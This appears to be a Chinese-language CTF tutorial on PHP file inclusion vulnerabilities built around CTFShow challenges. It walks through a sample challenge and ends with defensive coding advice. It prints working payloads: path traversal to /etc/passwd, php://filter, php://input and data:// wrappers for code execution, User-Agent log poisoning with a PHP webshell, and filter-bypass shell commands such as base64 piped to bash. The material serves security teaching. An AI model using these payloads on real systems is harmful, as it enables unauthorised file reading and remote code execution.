CTFShow文件包含漏洞实战:从原理到PHP封装协议利用
1. 项目概述:从CTFShow靶场看文件包含漏洞的实战价值
如果你是一名网络安全爱好者,或者正在学习Web安全,那么“CTfshow-web-文件包含漏洞”这个标题对你来说绝对不陌生。它不是一个简单的概念讲解,而是一个指向CTFShow平台上一系列实战靶场的集合。文件包含漏洞,作为Web安全中一个经典且危害极大的漏洞类型,常常是CTF比赛和渗透测试中的“突破口”。这个项目标题背后,隐藏的是从入门到精通的实战演练路径,它要求我们不仅要理解漏洞原理,更要掌握在CTFShow这类高度模拟真实环境的靶场中,如何发现、利用并最终拿到Flag(胜利标志)的完整技能链。
简单来说,这个“项目”就是一套以CTFShow平台为载体的、针对文件包含漏洞的专项训练课程。它解决的问题非常直接:很多新手学习了文件包含的理论,但一到实战就无从下手,不知道如何将知识转化为攻击向量。CTFShow的靶场恰好提供了从简单到复杂的阶梯式场景,让你能在安全的沙箱环境中反复锤炼技巧。无论是刚接触安全的新手,还是想巩固特定漏洞的中级玩家,通过系统地攻克这些题目,都能深刻理解文件包含漏洞的多种利用方式、绕过技巧以及背后的PHP(或其他语言)特性。
2. 文件包含漏洞核心原理深度拆解
在深入CTFShow的靶场之前,我们必须把地基打牢。文件包含漏洞的本质是程序在引入外部文件时,未对用户可控的输入进行严格过滤,导致攻击者可以包含并执行任意文件。这听起来简单,但魔鬼藏在细节里。
2.1 包含函数的机制与风险点
以最经典的PHP为例,涉及文件包含的函数主要有四个: include() 、 require() 、 include_once() 、 require_once() 。它们的区别在于错误处理( include 警告, require 致命错误)和重复包含检查,但漏洞成因一致。当这些函数的参数部分或全部由用户输入控制时,危险就产生了。
例如,一段常见的、存在漏洞的代码可能长这样:
<?php
$page = $_GET['page']; // 用户通过?page=xxx传递参数
include($page . '.php');
?>
开发者的本意可能是让用户访问 ?page=home 来加载 home.php 。但如果攻击者传入 ?page=../../etc/passwd ,经过拼接后,服务器可能尝试包含 /etc/passwd 这个系统文件。这里的关键风险点在于: 用户完全控制了要包含的文件路径 。即使加了后缀 .php ,也存在多种方法绕过。
2.2 本地文件包含与远程文件包含
文件包含漏洞主要分为两类:
-
本地文件包含 :只能包含服务器本地文件系统上的文件。危害包括:
- 读取敏感文件 :如
/etc/passwd(Linux用户信息)、/proc/self/environ(环境变量)、Web应用的配置文件(config.php、database.ini)、日志文件等。 - 配合文件上传获取WebShell :如果网站存在文件上传功能,但上传的图片马(将恶意代码写入图片文件)无法直接执行,可以利用LFI包含这个上传的图片文件,其中的PHP代码就会被解析执行。
- 利用PHP封装协议 :这是LFI的“王牌技巧”,后面会详细展开。
- 读取敏感文件 :如
-
远程文件包含 :可以包含远程服务器上的文件。这需要PHP配置中
allow_url_include设置为On(默认是Off)。攻击者可以在自己的服务器上放置一个包含恶意代码的文本文件,然后通过RFI让目标服务器去包含并执行它,直接获得WebShell。由于配置限制,RFI在实际中较LFI少见,但在一些CTF题目或老旧系统中仍可能遇到。
理解这两者的区别和利用方式,是解题的第一步。CTFShow的题目会从最基础的LFI开始,逐步引入各种过滤和限制,考验你的绕过能力。
3. CTFShow靶场环境与解题通用思路
CTFShow的Web靶场通常提供了一个完整的、隔离的Web应用环境,每个题目对应一个子目录或端口,目标就是找到隐藏在其中的 flag 。对于文件包含类题目,解题流程可以抽象为一个通用框架。
3.1 靶场访问与信息收集
通常,你会获得一个类似 http://xxx.challenge.ctf.show:端口/ 的地址。第一步永远是信息收集:
- 查看页面源码 :前端HTML、JavaScript注释中可能隐藏提示。
- 尝试常见入口点 :观察URL,寻找可能包含文件参数的链接,如
index.php?file=home、?page=about、?path=template等。参数名可能是file、page、path、name、include等。 - 使用目录扫描工具 :如
dirsearch或gobuster,扫描隐藏的文件和目录,可能会发现robots.txt、www.zip(源码备份)、phpinfo.php、upload.php等关键文件。 - 查看
phpinfo:如果幸运地找到了phpinfo.php,一定要仔细阅读。它会告诉你PHP版本、开启的扩展、allow_url_include和allow_url_fopen的开关状态、包含路径等关键信息,这些直接决定了可利用的手法。
实操心得 :在CTFShow做题时,养成先“右键查看源代码”和“F12打开开发者工具”的习惯。很多题目的提示就放在HTML注释里,比如
<!-- ?file= -->,这直接指明了攻击参数。
3.2 漏洞探测与初步利用
发现疑似包含点后,进行测试:
- 基础LFI测试 :尝试包含系统文件。
如果成功回显了文件内容,说明存在本地文件包含漏洞。?file=../../../../etc/passwd ?file=../../../windows/win.ini (Windows系统) - 后缀绕过测试 :如果代码像前面例子一样添加了后缀
.php,尝试以下方法:- 路径遍历截断 (PHP版本 < 5.3.4):利用
../和./进行目录跳转,有时长长的路径会导致后缀被“挤掉”。或者使用空字符截断%00(需要magic_quotes_gpc=off)。 - 问号截断 :
?file=../../etc/passwd?。问号后的内容在URL中被视为参数,服务器可能只取问号前的部分作为文件名。 - 井号截断 :
?file=../../etc/passwd%23。%23是#的URL编码,同样可能被截断。
- 路径遍历截断 (PHP版本 < 5.3.4):利用
- PHP封装协议利用 :这是核心中的核心。即使有后缀,PHP的封装协议也能大显神通。
php://filter:用于读取文件源码。当直接包含.php文件时,代码会被执行,我们看不到源码。用filter可以将其内容以base64等形式编码后读出。
将返回index.php文件的base64编码,解码后即可获得源代码。?file=php://filter/read=convert.base64-encode/resource=index.phpphp://input:将POST请求体作为PHP代码执行。需要allow_url_include=On。POST /index.php?file=php://input HTTP/1.1 ... <?php system('ls');?>data://:类似RFI,但数据直接写在URI里。也需要allow_url_include=On。?file=data://text/plain,<?php phpinfo();?> ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4= (base64编码的<?php system('ls');?>)
3.3 从文件包含到代码执行
读取源码往往是第一步,最终目标通常是执行任意命令(RCE)来查找和读取flag文件。
- 日志文件注入 :这是一个非常经典的技巧。Web服务器(如Apache、Nginx)的访问日志、错误日志记录了请求信息。如果我们可以包含日志文件,并且能将PHP代码写入日志,那么包含日志时代码就会被执行。
- 步骤 : a. 找到日志文件路径,常见如
/var/log/apache2/access.log、/var/log/nginx/access.log。 b. 通过User-Agent或Referer头注入PHP代码。例如,使用Burp Suite抓包,将User-Agent改为<?php system($_GET['c']);?>。 c. 发送这个恶意请求,代码就被写入访问日志。 d. 利用LFI包含这个日志文件:?file=../../var/log/apache2/access.log&c=ls。
- 步骤 : a. 找到日志文件路径,常见如
-
/proc/self/environ注入 :Linux系统中,/proc/self/environ文件包含了当前进程的环境变量。其中HTTP_USER_AGENT等字段来自HTTP请求头,同样可控。利用方式与日志注入类似。 - Session文件注入 :PHP的Session文件通常存储在
/tmp或/var/lib/php/sessions中,文件名格式为sess_[sessionid]。如果Session内容部分可控(比如存储了用户名),且我们知道Session文件路径,就可以尝试注入代码并包含它。 - 配合文件上传 :这是最直接的组合拳。上传一个图片马(内容为
<?php system($_GET[‘cmd’]);?>),然后利用LFI包含这个上传文件的路径。
4. CTFShow典型题目套路与进阶绕过技巧
CTFShow的题目不会让你简单地用 ../../etc/passwd 就拿到flag。它会设置层层过滤,这正是其训练价值所在。下面结合常见套路,拆解进阶技巧。
4.1 过滤关键词与目录穿越
题目可能会过滤 ../ 、 etc 、 passwd 等关键词。绕过方法包括:
- 双重编码 :
../->%2e%2e%2f->%252e%252e%252f。服务器可能解码两次。 - 超长路径 :使用大量的
./,如././././etc/passwd,或者....//、....\/等变体,某些简单的过滤可能无法识别。 - 绝对路径 :直接使用
/etc/passwd,如果当前工作目录允许的话。 - 利用PHP封装协议 :这是绕过过滤的“降维打击”。当过滤了路径遍历时,直接使用
php://filter往往畅通无阻。
4.2 强制添加后缀的绕过
这是CTFShow文件包含题的经典考点。代码通常强制添加 .php 或 .html 后缀。
$filename = $_GET['file'];
include($filename . '.php');
绕过方法 :
- 利用
php://filter:这是最有效的方法。因为php://filter/...本身是一个完整的流,其后追加的.php会被当作该流的一部分,但PHP解析器在识别协议时,会正确解析到resource=指定的文件。例如?file=php://filter/resource=flag,拼接后变成php://filter/resource=flag.php,但flag.php是resource参数的值,不影响协议本身,最终包含的还是flag文件的内容(如果存在的话)。如果要读源码,就用convert.base64-encode。 - 利用
data://协议 :?file=data://text/plain,<?php phpinfo();?>,拼接后变成data://text/plain,<?php phpinfo();?>.php。PHP在解析data://协议时,可能会忽略掉协议URI后面的.php,或者将其作为数据的一部分,但数据中的PHP标签仍然有效。这取决于PHP版本和配置。 - 长度截断 :在特定旧版本环境下,当文件名长度超过一定限制时,后缀可能会被截断。但现在已很少见。
-
?或#截断 :如前所述,?file=php://filter/resource=/etc/passwd?,问号后的.php会被当作URL参数,而不是文件名的一部分。
4.3 利用PHP段标签与死亡代码
有时,题目会检查文件内容是否包含 <?php 标签,或者使用了 exit() 、 die() 函数来阻止代码执行。我们可以利用PHP的短标签和进制转换绕过。
- 短标签 :
<?=是<?php echo的简写,无需开启特殊配置。可以用于输出命令执行结果。 - 利用
php://filter的转换过滤器 :这是高阶技巧。php://filter支持string.rot13、convert.iconv.*等过滤器。我们可以对恶意代码进行编码,使其绕过内容检查,在被包含时又会被解码执行。-
string.rot13:<?cuc cucvasb();?>是<?php phpinfo();?>的rot13编码。如果服务器在包含时自动解码,就能执行。 -
convert.iconv:进行字符集转换,可以构造复杂的编码Payload。 - 组合过滤器链 :
php://filter/read=string.toupper|string.rot13|convert.base64-decode/resource=...,可以构造出能绕过检查并最终被正确解码执行的Payload。
-
4.4 有限字符下的命令执行
在通过文件包含执行系统命令时,可能会遇到过滤了空格、特定字符(如 cat 、 flag )的情况。
- 空格绕过 :用
${IFS}、$IFS$9、<、>、%09(制表符)代替。 - 命令分隔 :用
%0a(换行)、%0d(回车)、;、&、&&、|。 - 通配符 :
cat fla*、cat fla?。 - 内联执行 :
cat $(echo fla*)。 - 读取命令 :不一定非用
cat。tac、more、less、head、tail、nl、od、xxd都可以。甚至可以用cp flag.txt /dev/stdout。 - 编码绕过 :
echo ‘Y2F0IC9mbGFn’ | base64 -d | bash(执行cat /flag)。
5. 实战案例分步详解:以一道典型CTFShow文件包含题为例
假设我们遇到一道CTFShow题目,URL为 http://target.challenge.ctf.show:8080/ ,首页只有一个简单的“Welcome”字样。
5.1 第一步:信息收集与漏洞发现
- 查看源码,发现注释:
<!-- test.php?file=hello -->。 - 访问
test.php,页面显示“Hello”。尝试参数?file=../../etc/passwd,页面返回了系统的passwd文件内容,确认存在LFI漏洞。 - 尝试
?file=php://filter/resource=test.php,发现页面空白(代码被执行了)。改用读取源码方式:?file=php://filter/read=convert.base64-encode/resource=test.php。 - 将返回的一长串base64字符串解码,得到
test.php的源代码:
代码分析 :获取<?php error_reporting(0); $file = $_GET['file']; if(isset($file) && strpos($file, "flag")===false){ include($file.".php"); }else{ echo "Hacker!"; } ?>file参数,检查其内容中是否包含字符串"flag"。如果包含,就输出“Hacker!”并拒绝。如果不包含,则拼接.php后缀后包含。我们的目标是读取flag.php或系统上的flag文件。
5.2 第二步:制定绕过策略
目标很明确:读取 flag.php 或找到存储flag的文件。但直接包含 flag 会被拦截。
- 思路1:利用
php://filter读取flag.php源码 。虽然参数中不能出现flag,但php://filter的resource参数里可以。尝试:?file=php://filter/read=convert.base64-encode/resource=flag。拼接后为php://filter/read=convert.base64-encode/resource=flag.php。服务器检查的是file参数的值,即php://filter/...这一整串,其中不包含flag子串(resource=后面的部分属于协议内部参数,通常不会被简单的strpos检查到)。成功返回base64编码! - 解码base64,得到
flag.php的源码,发现里面就是一句echo 'ctfshow{this_is_flag}';。成功。
5.3 第三步:扩展利用(如果上一步失败)
假设 resource=flag 也被某种方式过滤了。我们需要寻找其他包含flag的途径。
- 日志文件注入 :首先尝试包含日志文件,确认路径。
?file=../../var/log/apache2/access.log。成功读取日志,发现记录了我们的User-Agent。 - 构造Payload :使用Burp Suite,将请求的User-Agent改为
<?php system('find / -name \"*flag*\" 2>/dev/null');?>,然后发送请求到test.php(任意参数均可)。 - 执行命令 :再次包含日志文件
?file=../../var/log/apache2/access.log。这次,日志中的PHP代码被执行,回显了在服务器上查找flag的结果,例如/var/www/html/flag_is_here.txt。 - 读取Flag :直接包含这个文件
?file=php://filter/resource=/var/www/html/flag_is_here.txt(或使用../../相对路径),即可看到flag内容。
注意事项 :日志文件可能很大,包含时可能导致超时或响应缓慢。可以尝试先包含
error.log,或者先注入一个输出当前路径的命令<?php echo __FILE__;?>来辅助定位。另外,在真实环境中,反复尝试日志注入可能会产生大量噪音,需谨慎。
6. 防御策略与安全开发建议
作为攻击者,我们研究漏洞利用;作为开发者,我们必须知道如何防御。文件包含漏洞的根源在于“信任了用户的输入”。防御的核心原则是: 白名单校验,而非黑名单过滤 。
-
固定文件范围,使用白名单 :这是最有效的方法。不要直接用用户输入拼接文件路径。预先定义好允许包含的文件列表(映射)。
$allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if(in_array($page, $allowed_pages)){ include($page . '.php'); } else { include('404.php'); } -
严格控制包含路径 :
- 设置
open_basedir指令,将PHP可操作的文件限制在网站根目录下。 - 在包含文件时,使用绝对路径(基于项目根目录),避免使用相对路径
../。
- 设置
-
禁用危险配置 :
- 确保
php.ini中allow_url_include和allow_url_fopen设置为Off。 - 关闭不必要的PHP封装协议。
- 确保
-
过滤输入 :如果必须动态包含,要对用户输入进行严格过滤。但切记,黑名单过滤很容易被绕过。可以移除所有的
../、..\、php://、data://等危险字符串,并进行URL解码检查。 -
使用安全的文件操作函数 :对于不需要执行,只需要读取内容的场景,考虑使用
file_get_contents()输出内容,而不是include()。
文件包含漏洞的利用花样繁多,尤其是PHP封装协议提供了极大的灵活性。在CTFShow的靶场里反复练习这些场景,能让你在遇到真实世界模糊的漏洞点时,更快地形成测试思路和利用链。记住,核心永远是: 控制输入点、理解过滤逻辑、灵活运用协议和特性 。每解一道题,不仅是拿到一个flag,更是为你的Web安全技能库添加一件趁手的兵器。
更多推荐


所有评论(0)